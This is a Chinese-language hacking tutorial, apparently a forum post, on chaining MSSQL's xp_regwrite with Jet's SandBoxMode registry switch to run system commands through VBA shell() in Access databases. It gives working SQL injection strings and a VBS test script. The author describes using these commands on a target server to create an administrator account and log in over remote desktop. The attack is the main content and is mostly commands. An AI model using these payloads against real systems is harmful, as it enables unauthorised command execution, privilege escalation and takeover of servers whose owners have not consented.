首先我在<Jet引擎可以調用VBA的shell()函數>(http://www.520hack.com)這份資料知道在accessl裡可以直接進行sql查詢,具體的在Access中測試.測試的SQL語句如下:
Select shell('c:/windows/system32/cmd.exe /c net user ray 123 /ad');
查看電腦管理的本機使用者,馬上發現多出一個ray使用者,說明語句成功執行了.接下來寫一個VBS指令碼任意串連一個mdb來測試這個SQL語句
Set Conn=Createobject("Adodb.Connection")
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=test.mdb"
Set Rs=Conn.execute("Select Shell(""cmd.exe /c net user ray 123 /ad"")")
Msgbox Rs(0)
運行後會出現"運算式中的'Shell'函數未定義"的錯誤,<Jet引擎可以調用VBA的shell()函數>提到WINDOWS在Jet 引擎中設定了一個名為SandBoxMode的開關,它的註冊表位置在HKEY_LOCAL_MACHINE/SoftWare/Microsoft/ Jet/4.0/Engine/SandBoxMode裡,0為在任何所有者中中都禁止起用安全設定,1為僅在允許的範圍之內,2則是必須是Access 的模式下,3則是完全開啟安全設定.預設情況下為2,只能在Access的模式下調用VBA的shell()函數,我們嘗試將此註冊表值改為0,結果成功的運行了VBS利用Jet引擎可以調用VBA的shell()函數執行了系統命令.
通常一台MSSQL伺服器同時支援Access資料庫,所以只要有一個sa或者dbowner的串連,就滿足了修改註冊表的條件,因為MSSQL有一個名為xp_regwrite的擴充,它的作用是修改註冊表的值.文法如下
exec maseter.dbo.xp_regwrite Root_Key,SubKey,Value_Type,Value
如果存在一個sa或者dbowner的串連的SQL注入點,就可以構造出如下注入語句
InjectionURL;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare/Microsoft/Jet/4.0/Engine','SandBoxMode','REG_DWORD','0'--
那我們將SandBoxMode開關的註冊表值修改為0就成功了.接著串連到一個Access資料庫中,就可以執行系統命令,當然執行系統命令我們只需要一個Access資料庫相關Select的注入點或者直接用ASP檔案Select調用這個VBA的shell()函數,但是實際上MSSQL有一個的OpenRowSet函數,它的作用是開啟一個特殊的資料庫或者串連到另一個資料庫之中.當我們有一個SA許可權串連的時候,就可以做到開啟Jet引擎串連到一個Access資料庫,同時我們搜尋系統檔案會發現windows系統目錄下本身就存在兩個Access資料庫,位置在%windir%/ system32/ias/ias.mdb或者%windir%/system32/ias/dnary.mdb,這樣一來我們又可以利用 OpenRowSet函數構造出如下注入語句:
InjectionURL';Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:/winnt/system32/ias/ias.mdb','select shell("net user ray 123 /ad")');--
如果你覺得不大好懂的話,我可以給你做一個簡化的理解:
1,Access可以調用VBS的函數,以System許可權執行任意命令
2,Access執行這個命令是有條件的,需要一個開關被開啟
3,這個開關在註冊表裡
4,SA是有許可權寫註冊表的
5,用SA寫註冊表的許可權開啟那個開關
6,調用Access裡的執行命令方法,以system許可權執行任意命令
所以,今天我使用HDSI的執行SQL命令,執行了以下命令:
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare/Microsoft/Jet/4.0/Engines','SandBoxMode','REG_DWORD',0
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:/windows/system32/ias/ias.mdb','select shell("net user zyqq 123 /add")');
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators zyqq /add")');
最後,用這個新加上的使用者,成功登陸3389!